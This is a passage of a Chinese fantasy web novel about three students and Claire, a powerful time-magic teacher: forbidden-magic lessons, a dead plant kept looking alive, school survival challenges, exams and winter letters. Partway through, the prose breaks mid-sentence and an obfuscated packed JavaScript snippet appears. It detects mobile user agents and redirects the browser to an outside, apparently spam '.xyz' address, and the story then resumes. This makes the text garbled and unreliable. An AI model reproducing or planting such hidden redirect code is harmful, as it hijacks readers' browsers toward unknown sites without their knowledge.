埃弗里扫视了一下周遭，学生们都已经离开，会议室只剩下她们三个。“我们先出去。” 三人草草在食堂吃完饭，就直奔蒂娜的宿舍。 关上门后，埃弗里立刻说:“难道她朋友留给她的其她书信，就在我们学校里？” 安西娅摇头，“那也不用来任教。我们学校对外开放。” “也可能是校长和她做了交易。以书信为代价，让她任教，那可是能让时间倒退五百年的人。” 蒂娜还没消气:“你要重复多少次五百年？只是你这么想而已，成绩好的人一定教得好？校长未必这么认为！” 埃弗里不再看她，转向另一个同伴:“安西娅，你怎么觉得？” “我没什么看法，毕竟克雷尔的确没向我们解释太多。当然，她有情可原，不过对我们来说，确实有点过分。” 安西娅努力做到两不得罪，“为什么我们不去她的工作室呢？埃弗里，你可以直接问，蒂娜，你可以直接冲着她发火。” 这下连蒂娜都愣了愣。 “我是认真的。冲着她发火——不管她会不会生气，都一定比我们现在在背后乱猜进展要快。”安西娅诚恳地说。 埃弗里欲言又止。 蒂娜想了一下，有点心动。 三人沿着楼梯向下，从一楼经过时，宿管的房间正紧闭着门，上挂[午休中]的牌子，她们脚步放轻了一些。 教师们的工作区在三号楼，根据楼里的分区图示，她们很快找到了克雷尔的工作室。 房门半开着，克雷尔正伏在书桌前，专心地写着什么，抬头看到她们，显得有点惊讶，“我约你们见面的时间是晚上，你们现在过来有急事？” 埃弗里反问:“你约我们晚上见面？” “对，我和校长分开后，回到会议室发现你们不在，也不清楚你们会在哪，就写了字条，交给你们那栋楼的宿管。” 蒂娜稍微消气了点，她们下楼时，宿管正在睡午觉，所以没能见到字条。 埃弗里看了她一眼，然后说:“我以为你在故意避着我们。” “我不会的，我给安西娅准备了这个，如果我避着你们，我怎么把它给她？”克雷尔指了指另一张桌子上的东西。 安西娅率先走进来。桌上有两样东西，一盆植物，和一套药剂萃取仪器，单看外表，就能看出它做工有多精密。 显然后者是给她的。她知道克雷尔为什么会给她准备这个。 那天在圣地里，克雷尔看完信，找到她们，看不出神情是轻松愉快，还是难过。 她非常简短地解释说，那封信是她朋友留下的，而且给她留了不止一封，别的信还不知道在什么地方。 然后把酸浆果种子给了蒂娜，黑鸭羽毛笔给了埃弗里，她在口袋里又摸索了一会儿，找不到第三样东西了。 安西娅原本想说“你不用特意再为我准备一份礼物”，她其实并不介意，但话又说回来，她确实需要一套药剂萃取仪器。 于是她迟疑了一下，说:“谢谢，我很喜欢。” 仿佛是为了掩饰什么，她飞快地开启了下一个话题:“话说回来，你为什么会来任教？第二封信在我们学院里吗？” “并不是，第二封信一点线索都没有，而且我没那么在意它。” 六只眼睛齐刷刷地盯着她。 “好吧，我在意，但知道在某个地方有我朋友留给我的信，比真的拿到它，更让我感到愉快。”克雷尔说。 任教是因为她想要再一次尝试和这个世界建立链接。 “因为达加弥亚策划的冒险故事，我们成了朋友，”克雷尔停顿几分钟，没等到反驳，才继续说，“所以我想再试一下。” 看到三人不解的眼神，克雷尔才反应过来，她还没把那封信给她们看过。 克雷尔从抽屉里翻出信，递给她们，三个脑袋紧挨着把信看完。 “你很勇敢。”埃弗里说。 克雷尔摇了摇头，像是不赞同，但她沉默片刻后笑了一下，说:“是。” 蒂娜则问:“你最近看到伊尔卡拉了吗？” “伊尔卡拉？” “她现在身高两米一了。”蒂娜忿忿不平地抱怨。 克雷尔愣了一下，然后露出了“原来如此”的表情。 蒂娜就讨厌这种表情。 那天伊尔卡拉没跟她们一起进圣地，出来后也没看到人影。 克雷尔显然没有胃口吃饭，于是只有她们三人一起去了精灵食堂，在那里看到了两米一的伊尔卡拉。 谁也不知道她是什么时候变的体型，明明她刚进精灵聚集地时，还只有巴掌大。 她不是根本没办法支撑这么大的体型吗？怎么现在又可以了？ 安西娅和埃弗里在愣了愣神之后，都露出一副了然的神情。 蒂娜不懂她们到底懂什么了，但她们都明白了，只有她没有，让她有种被排除在外的微妙不爽感。 “我们进圣地的功夫，她在外面做什么了？”蒂娜忍不住问。 她不该说这句话的。因为海斯文女士就在食堂，听到了圣地，就像触发关键词一样，拄着拐杖就漂移到她们桌了。 蒂娜连喝三大碗亚立特浓汤，叫着“要去厕所”，飞快地溜掉了。 所以，最后她也没弄清楚伊尔卡拉是怎么回事。 “我最近没有看到伊尔卡拉，她可能在做她的任务，你有急事要找她？”克雷尔问。 蒂娜悻悻地说:“不，没事。” 克雷尔:“那我们晚餐的时候见好吗？我必须要继续备课了。” 三人离开了房间。安西娅抱着仪器，决定在自己的课程上，再增加一项时魔概述。 “如果我在配制药剂时失误了，就可以用时间魔法补救。” 埃弗里则决定，把魔法用具维修的课程取消掉。 “克雷尔说过我很有天赋，我本来没当回事，但如果她是最厉害的时间魔法师，那就另当别论了。能直接让时间倒流，谁还需要学习维修呢？我可以把更多时间放在进攻魔法上。” 晚上她们告诉克雷尔，她们会选择时魔概述课，克雷尔显得很高兴。 蒂娜用力地切着牛排，力度大到让人怀疑她在剁馅，“我没办法上你的课，我要补修，上学期的没通过。” 克雷尔有些意外，“补修？我太久没进学院，都有点跟不上了。在我上学那会儿，把园林设计的课程测试搞得一塌糊涂，最终也通过了。” 虽然后来老师给她写了信，一千字中，九百九十字都在阐述各种植物的可爱之处，最后十个字劝她放过这些可爱可怜的植物。 ‘克雷尔的园林设计确实一塌糊涂。’埃弗里嚼着肉饼，想到了魔王城堡的废弃花园，没一个活着的植物。 然后她又突然想起，克雷尔工作室的桌子上，就放着一盆绿色盆栽，生机盎然。 她很快知道了原因。 在第一节时魔概述课上，克雷尔把那盆植物放在课桌上，让学生们观察它，判断它的状态。 “实际上已经死了，我每天都会给它施加时间魔法。”克雷尔最后是这么说的。 虽然不擅长养植物，但擅长时间魔法。 “因为已经死了，所以才可以施加时间魔法。你们所看到的生机盎然，也只是虚假的表象而已。” 时间魔法的极限是，让已经死去的植物，状态倒退到刚死去那刻，如果执意继续倒退，妄图跨越生与死的界限，就只能收获假象。 克雷尔把盆栽搬下去，让学生挨个触摸叶子，来感受它的真实状态。 埃弗里第一个伸手，看起来厚重翠绿的芦荟叶片，摸起来软烂黏滑，薄薄的一层皮，包裹着脓液，让她想起了死去许久的动物胀起的肚子，稍加用力就会……她触电般地收回了手。 如果那只是一盆枯萎腐烂的植物，她绝不会有这么大的反应，正是因为它看起来那么鲜活，腐烂的事实才让人难以忍受。 安西娅摸完皱了皱眉，其她学生反应和她差不多，都敬畏地看着那盆盆栽。 克雷尔回到讲台，“现在翻开序言——‘时间魔法很好用，但要明确界限’——可以开始我们的第一堂课了。” 埃弗里翻开了书，像上其她课时一样认真听着，不漏下老师说出的每一句话，在书上记笔记，但她感觉自己对时间魔法的兴趣大大减弱了。 她自己也说不清那股失望来源于哪，她当然不打算越过那条界限，得知它没有那么强大，却还是很失望。 安西娅听得很认真，她是个货真价实的实用主义者。 时魔概述是上午的最后一堂课，铃声响起后，安西娅合上书本，问埃弗里中午打算吃什么。 “我还有点事情，你和蒂娜先去吧。” 安西娅没有多问，收拾东西先离开了。 埃弗里把压在书下的纸条拿出来，打开。克雷尔把植物拿下来让她看时，往她手里递了张字条，她当时没有立刻打开。 纸条上说让她在午休结束后，去找克雷尔一趟。看来不是什么急事。 埃弗里把字条塞进口袋，快步走出教室，追上安西娅。 午餐时间她们三个讨论了一下克雷尔找她的原因，没有得出一个正经的结论。 “她可能想让你替她收作业。”蒂娜用叉子戳着盘子里的炸鱼薯条。 “我猜不出来，但应该不是大事。”安西娅说。 是大事。 从克雷尔的工作室里出来后，埃弗里非常开心地对两个同伴说:“她知道我在想办法探索禁忌魔法了。” “你疯了？”蒂娜不可置信地嚷嚷，安西娅快速施了个屏障魔法，防止声音外泄，于是蒂娜更大声了，“她知道了，而你居然在笑！？等会，她为什么会知道？” 埃弗里笑:“因为我之前说过，魔法协会的考察很严格，我抱怨得太明显了。” 实际上并不严格，这是基本常识。 所以克雷尔很快推断出，她会说严格，极大可能是申请入会，却被拒了。 被拒绝的情况很罕见，所以克雷尔找同事问了一下拒绝原因。 如果是别人，被拒绝后就可能放弃了，但只要是认识埃弗里的人都知道她不会。 “所以她劝阻你了？” “不，除非埃弗里真的疯了——如果被劝阻了，她会笑得这么开心吗？” “安西娅说得对！她告诉我，协会拒绝不是因为‘不该研究禁忌魔法’，而是因为‘我这个年纪不该研究禁忌魔法’。我的年龄还不够，所以协会无法为我提供任何资源。” 这也是写在拒绝信上的理由，但信上没说，可以有例外。 埃弗里继续:“可克雷尔说，如果在研究时，能有一个专业魔法师保障我的安全，我就可以通过协会的申请了。” 言下之意是她愿意作为那个保护者，让埃弗里能光明正大地研究禁忌魔法。 “我猜拒绝信上没说这个，是因为条件太严苛了，是‘专业魔法师’，而不是某个魔法领域的‘专业魔法师’，知道意味着什么吗……” “好了，埃弗里，”安西娅拍了拍她的肩，稍微有点用力，“不要再炫耀了，我们已经够羡慕了。” “我不羡慕，”蒂娜耿直地说，“我今年的学业已经很忙了，不需要加课。不过她为什么会主动提出来要帮埃弗里？” “因为我们是朋友，而且她不排斥埃弗里学习禁忌魔法。” 一个把时间魔法推进到五百年前的人，她的目的本身比禁忌魔法更禁忌。 还有一个原因，克雷尔太久没和别人打交道了。活得太久，对年龄没概念，自己太强，不觉得禁忌魔法危险。 所以她可能无法理解，以她们现在的年纪和魔法水平，学习禁忌魔法有多冒进。 埃弗里自己倒是清楚，但她绝不会告诉克雷尔。 有个流传很久的寓言故事，一个人遇到了一棵苹果树，树上只有两颗果子，一颗代表“智慧”，一颗代表“知道”。 她也是后来才发现，几乎所有人都选了智慧，这很合理，甚至算得上是正确答案。有了“智慧”，“知道”是迟早的事。 但她想要立刻“知道”，不想等待。 今天是周二，她们约定好每周的周三晚上，在克雷尔的工作室进行禁忌魔法的学习。 如果不是要提前准备，她会直接把时间定在周二晚上。 周三晚上，埃弗里准时来到工作室。 它看起来和平常没有区别，进来后才发现，内部空间被扩大过，现在有一个运动场那么大。 学习禁忌魔法的过程有点像之前的冒险，只不过是一对一版。埃弗里自己摸索，克雷尔不到万不得已，不会插手干预。 第一周的项目是生命置换，非常典型的禁忌魔法。可以把自身的身体状况，和别人交换，小到蚊子咬的包，大到癌症致命伤，都可以置换。 积极面是可以分担伤害，一个人的致死伤，分到多人身上，大家都能活下来。 消极面自不用提，比积极面多得多，会了这个魔法，让别人替自己赴死都不是问题。 这个魔法没被人为“失传”，有很多原因。危机时刻真的能救命算一个，二是不会有人轻易夺取她人性命——看安西娅、蒂娜、埃弗里三个人对魔王的态度就知道了。 三是所有禁忌魔法被使用时，都会被禁忌魔法监督部感知到。 她们的应对方案非常简单粗暴，如果被置换的那方死了，你也死；如果没死，原样置换回去，然后坐牢去吧。 埃弗里打了个哈欠，眼下乌青，她撸起袖子，“克雷尔，麻烦你了。” 说着，她飞快地念咒，只感觉空气突然振动起来，仿佛有什么东西，从她身上被剥离了，埃弗里顿时感到神清气爽。 轮到克雷尔打哈欠了，“很困，眼皮很重，心跳很快，看来成功了。昨天你是通宵了吗？” “通宵学习置换魔法的方程，但没成功，”埃弗里把袖子撸下去，失望地说，“我是想把手臂上的痣变到你身上——痣比较容易分辨成功没有。” 变错了。 “所以不要通宵。”克雷尔再次打了个哈欠，阻止埃弗里把黑眼圈变回去，“就这样吧，你清醒状态再试一次。” 埃弗里依言试了一次，在心里默念着“忽视身体的其她感受，只关注需要被剥离的地方”，这次成功把痣变了过去。 她备受鼓舞，把自己的熬夜状态和痣一起，从克雷尔身上拿了回来。 “做得不错。”克雷尔称赞。 埃弗里笑起来，兴奋得脸颊通红。可能是熬夜状态一下子袭来，把她搞得头昏脑涨；或者太高兴了，只是成功了一次就开始得意忘形。 也可能是从第一堂课上，看到死去的植物后，这个问题一直盘旋在她心里——她脱口而出:“你用过时间魔法吗，在你朋友的尸……？” 她花了两秒钟，才反应过来，意识到自己说出了多么冒犯的话，急切地向克雷尔走近两步，又猛地停住。 飘散在空气中的字句无法被收回，她不能假装自己没有说过。 “对不起，我——” “没有。虽然我最初研究时间魔法就是为了这个，但在植物身上实践后……那是我的朋友，不是仇人。即使是仇人，也不该被这么对待。” 克雷尔已经在回答了。 她似乎并未生气，埃弗里看不出她是真的不在意，还是因为刚才的事，对她的印象跌到谷底，认为她不值得自己动怒。 埃弗里想要继续道歉，克雷尔却没有给她开口的机会，“继续吧。刚才是清醒状态，你现在太困了，脑子不太清醒，再试下能不能置换成功。” 在确定非清醒状态也能置换成功后，结束了今天的课程。一人写了份给禁忌魔法监督部的报告，即刻发出，然后克雷尔就放她回去睡觉了。 开学第一周，一切都在有条不紊地进行。学生们清晨起来，全都拿到了今年份的校际活动通知。 食堂里充满了躁动的空气，不得不把所有窗户都打开，让那空气流出去一点，以免食堂像超出承受范围的气球一样爆炸。 蒂娜急切地问两个朋友，“你们在春季生存挑战上报名了，是不是？” “我还在考虑，感觉沙地生存难度不大，我是说，它更适合低年级，我们去年去过了，不是吗？”安西娅说。 蒂娜有些失望，立刻把目光投向埃弗里，后者正在吃一片煎蛋，心不在焉的样子，完全没发现她热切的眼神。 就在这时，克雷尔走进食堂，蒂娜立刻从座位上弹射起来，拼命冲她挥手。 克雷尔还没走到她们的餐桌前，就听到蒂娜大声问:“你会参加春季生存挑战吗？你去年肯定没参加过！呃，不过你只能作为带队老师参加。” “不，我不打算参加。”克雷尔在空位坐下，眼神在今日菜单上来回扫视，思考要吃什么。 她很快做出了选择，不一会儿就取餐回来，餐盘放着三个肉馅饼，一杯牛奶，一小盘果切。把盘子放在桌子上时，安西娅正担忧地问埃弗里，“……不顺利吗？” 埃弗里没有回答，而是下意识抬头看了克雷尔一眼，眼神对上一秒，然后克雷尔拿起了她的馅饼，咬了一大口。 她突然心就安定了，说:“很顺利。还有，我打算参加春季生存挑战。” 蒂娜立刻大声喊耶。 克雷尔早餐后，推开工作室的门，门缝里掉出一张纸，捡起看了下，是面向教师的校际活动通知，和蒂娜给她看的那份稍有不同。 在春季，学生们会在模拟出的场地，如沙漠、海洋等恶性环境中，利用自己的所学进行生存挑战。 教师们负责监督并确保安全。 夏季和秋季是类似的项目，教师们一如既往负责监督。 只有冬季的项目真正称得上是紧张刺激——期末考，教师负责出题和监考。 在众多项目里，不乏让她感到有趣的内容，但她一个也不打算参加。 共同面对危险的经历，总能让人们更快产生深厚的情谊，很美好。只是她觉得自己还适应不来这点。 春季的生存挑战定在三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559906|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月份，由各年级自愿报名的教师带队，为期一个月——因为走出已知最大的沙漠需要一个月的时间。 学生们什么都不能带进去，教师们好一点，可以带个小型地图，上面标记了自己队里学生们所处的位置。 去的当天，食堂里的饮品全部告罄，个个都是喝饱了水进去的，回来时，全都都像个干瘪的仙人掌。 仙人掌们神情骄傲。 在带队教师说完“一个都没有提前退出”之后，就立刻散了，全部奔向食堂，好像她们留在那，只是为了听那一句话一样。 没人去吃饭，每个人都是拿起水就喝，看起来没挨饿，只是水不够。克雷尔不解:“生存挑战里不能使用水魔法？” 旁边的那个教师非常自然地搭话了，在此之前她们没说过一句话。“即使是魔法，也必须来自已知的某个地方，沙漠里水源位置可不确定。” “我偷偷带了沙漠里特有的金黄蝎子回来，”蒂娜兴冲冲地说，“你肯定需要它！” 她把布包里的东西往安西娅手心倒，只倒出一小堆沙子。 安西娅淡定地把沙子收进一个小瓶子里。 埃弗里说:“蝎子不可食用，攻击力也弱，所以它是假的，出了模拟场就变回原样了。” “好吧。”蒂娜有点怏怏不乐，很快又振作起来，“我们冬假可以去沙漠玩，抓真的金黄蝎子！” 六月的团队项目很快到来，伴随着基础隔音魔法也隔绝不了的蝉鸣声。 每年的团队项目大同小异，年级内随机组队，闯关、寻物、救援，限时一周。 每个队伍抽到的主题项目都不同，埃弗里、蒂娜、安西娅分散在三个队伍里。 安西娅摊开手里的纸条给同伴看，“是穿越蠹虫灌木、水底寻物、高空营救的顺序。” 三个新同伴都是和她年纪差不多的人族，闻言面面相觑，其中一个说:“灌木……灌木先不提，后面两个很不利啊！嘿，咱们这边有人偷偷长了腮和翅膀吗？现在说出来也不晚哦。” “没人会偷偷长那个！” “我希望我能长。” 进入灌木丛后，蠹虫肆虐，小队里说笑的内容，也转变成了“有人身上长防虫喷雾了吗”，直到尖锐的破空声，从远处传来，打破了轻松的氛围。 “发生了什么？有东西从天上掉下来了好像！” “不，是斯凯奇诺在俯冲！”另一支在灌木丛中的队伍冲她们喊道。 “天空种族……有队伍已经进展到高空救援了？离谱，太快了吧！” “不，学校聘请斯凯奇诺，是让她们在区域里巡视，她们不会参与项目。”安西娅说，“看来已经有学生受伤了，需要被带离。我们必须再小心一点。” “……今年的项目比去年难好多。” “是啊，毕业班只会比我们更难。” 毕业班所在区域，配备了更强有力的保障团队，克雷尔是其中之一。 她不打算参与，但会隐匿魔法的教师不多。斯凯奇诺负责高空巡视，她和其她参与的教师负责陆地。 和她搭档的教师似乎是某个毕业班的导师，白发苍苍，脸上遍布皱纹。 克雷尔不喜欢她。 因为她会在巡逻途中，突然大力拍她肩膀，兴奋地指着某个学生，骄傲地说她有多么多么喜欢这个孩子，然后把手举得很高，冲自己的学生挥手。 即使在完全隐匿状态中，学生压根没办法感知到她。 这样的行为一天会重复二十多次，克雷尔怀疑，她喜欢的学生，比这个区域里所有学生加起来还要多。 第三天，毕业班的小队陆续进入寻物环节，克雷尔的搭档总是因为学生错过了一个关键物件，而着急地直拍大腿，大声叹气。 克雷尔在她每次拍腿之前，都会往她腿上丢一个隔绝力度的魔法，因为不想失去搭档，独自巡视。 “希望她们在九月份的团队项目里，能够更熟练。”项目最后一天，那位老教师问她，“九月份，你参加吗？” 克雷尔摇头，“九月太热了，巡视人员也禁用魔法的话……我不会参加的。” 九月份的团队项目完全复刻六月，只是禁用魔法——市面上隔绝魔法的道具很多，必须考虑到此类情景。 所以每年的6-9月，都是学校里阅读氛围最为浓郁的时间点，图书馆里到处都是翻阅书籍，小声讨论不用魔法如何取胜的学生。 九月过后，图书馆会陷入沉寂，十一月下旬重新热闹起来，这时各类乱七八糟的书会成为借阅的首选。 “乱七八糟？”克雷尔重复。 “对，因为十二月会进行期末测试。考试很近，但又不那么近，所以乱七八糟的书最受欢迎，”图书馆的管理员指了指旁边的书架，“《打嗝拯救世界》，来一份吗？我复制了很多。” “……不了。”克雷尔想了想，问，“有《正确出考题拯救世界》吗？” “我想没有，不过有《考试的起源》，希望对你有帮助。” 克雷尔借了那本书，书很薄，只有不到一百页，内容很简单。 在原始社会，老人教年轻人砍树，让年轻人砍给她看，是最早的考试；没砍中，要求重试，是最早的补考；还没砍中，老人重新教，是最早的补修…… ……没什么用，显然时间魔法不像砍树一样简单。 克雷尔把书还了回去。 “要考试的我，心就和天气一样冷。” “如果你不认真复习的话，我的心会更冷。” 进入十二月，此类对话频繁出现在学生和授课教师的口中。 克雷尔路过同事的工作室时，看到她正被一群学生缠着，然后用饮用水变出一个个小雪人，一人手里塞一个，把学生们都打发走了。 同事提着空水桶出来，瞥见克雷尔后，笑了一下，说:“今年还没下过雪呢，是不是？” 十二月的天空总是灰蒙蒙的，仿佛下一秒就会有雪花飘落，却左等右等依旧盼不来。 克雷尔很快也体验到了被学生围堵的待遇。不只是她年级的学生在问考试内容，还有别的班、别的年级，是为了让她倒退时间。 “学校！把学校作为施加时间魔法的对象，它也是死物，是可以的，倒退回春天开学前，这样就不用考试了！” 克雷尔不得不抽空思考了一下——为什么那么多会时间魔法的人，她们却选中了自己——然后问:“我难道是看起来很和蔼可亲的类型吗？” “对比我们第一次见你时，是的。”蒂娜在笔记本右上角画了个太阳，头也不抬地说。 复习太无聊，她手里的羽毛笔已经被揪得只剩羽管了。 第一次见到克雷尔，她们三人可是不约而同，立刻就警惕了起来。 有一半是因为隐匿魔法，她们没发现她，被吓到了，另一半是因为克雷尔看她们的眼神，她似乎对她们有点感兴趣，但那不是看感兴趣的“人”的眼神。 现在也称不上和蔼可亲，至少看人不像看待一棵树了。 “不用太在意，在考试周，即使是最严厉的老师，也会被追着问考题。”埃弗里说。她在看《打嗝拯救世界》，这意味着她已经复习得相当完美了。 安西娅问:“克雷尔是第一次当教师吧？有准备好测试的内容吗？” “差不多，我参考了去年和前年的测试内容，笔试加实操，”克雷尔说，“不会太严格的，因为新手即使失败了也不会造成很严重的后果。” “是啊，只要别念错咒语的音节。”埃弗里把书翻页，蒂娜瞪眼，作势要把她的书抢走，埃弗里立刻求饶，“对不起，我错了。” 安西娅看着她们闹了一会儿，然后转过头，“克雷尔计划在冬假做什么呢？” “和往年一样，消灭森林里的魔物。” “对你来说，这项工作只需要一天就能完成吧，要和我们一起去沙漠吗？不是模拟场，是真正的沙漠，有燃烧的篝火和雪。” 克雷尔摇头。 “我以为你会同意的！”蒂娜把书抛还给埃弗里，大声问，“你不喜欢沙漠、篝火和雪吗？” 克雷尔再次摇头，“我不喜欢沙漠的气候，而且，我答应要给达加弥亚她们写回信。” “啊，回信。”蒂娜似乎小声嘟囔了一句，坐回椅子上，突然眼睛一亮，“你和你的朋友们，之前一起去过沙漠吗？说不定我们可以在沙漠里找到第二封信，毕竟我们是被她们选中的！” “有这个可能。”可能性不大，但没必要打击她的积极性，克雷尔说，“说不定你们真的可以找到。” “如果我们找到了，一定会第一时间去找你，交给你的。” 克雷尔笑了下:“没有信也可以来找我，不过我可能不在那个房子里。” 这个冬天她选择居住在精灵的聚集地。 夏林隔壁的空房子打扫了出来，她愿意来帮忙，克雷尔很感激，但在她离开后，立刻对房子施加一个隔绝魔法，挡住从隔壁传来的、不太美妙的味道。 “给弗利达: 我认为我长进了很多，我也并不感到抱歉，时间还是在我身上起了作用，和那时比，我现在成熟了很多，看到你们给我的信，我并不难过，只是……” 只是什么呢？ 墨点污染了纸张，克雷尔反复把信纸上的字迹清除，最后她写:“只是我觉得不合理，你们三个人共同写一封，而我一个人要准备三封信，我该写些什么？我想写的东西太多，它们都挤在我的笔头里，堵塞着，以至于一个单词都掉不下来……” 她又把这段话删了。 不知道该怎么下笔的时候，她就会去圣地，在二十三往后的架子里，随机挑选一个木盒，打发时光。 再一次面对达加弥亚的木盒，她花了一整个下午的时间，思索如果是达加弥亚，会往里面放点什么。 预言画、预言纸、信都被取走了，现在它只是一个空盒子——为了不让下一个打开它的人失望。 然后她发现，没有埃弗里在，她根本没办法打开这个盒子，更别提放东西进去了。 每周的三日和五日，她会去食堂帮忙，取出冻成冰块的肉类，解冻到适合切割的程度。 多雾的森林边缘，有太阳的日子并不多，在这极为罕见的时刻，她会和夏林一起，把她宝贵的植物和发酵肥搬出去，再支上两把躺椅，躺在上面晒太阳。 德科迈提的一枝藤蔓长到了她的屋前，缠绕在生锈的破旧信箱上，把投递口挡得结结实实。 克雷尔往每一个花朵里，都塞满了猪肉丝，这样它就不会在她出门时，朝她身上喷虫子。一周过后，这支藤蔓枯萎了。 “消化不良。” 夏林剪掉那只藤蔓时说，克雷尔对此表示怀疑。 枯萎的枝蔓通过投递口，伸进信箱里，信箱已经老到无法被钥匙打开了，克雷尔保证自己会恢复如初后，拆掉了信箱门。 取出枯枝败叶，在最里面，她发现一封破破旧旧的信。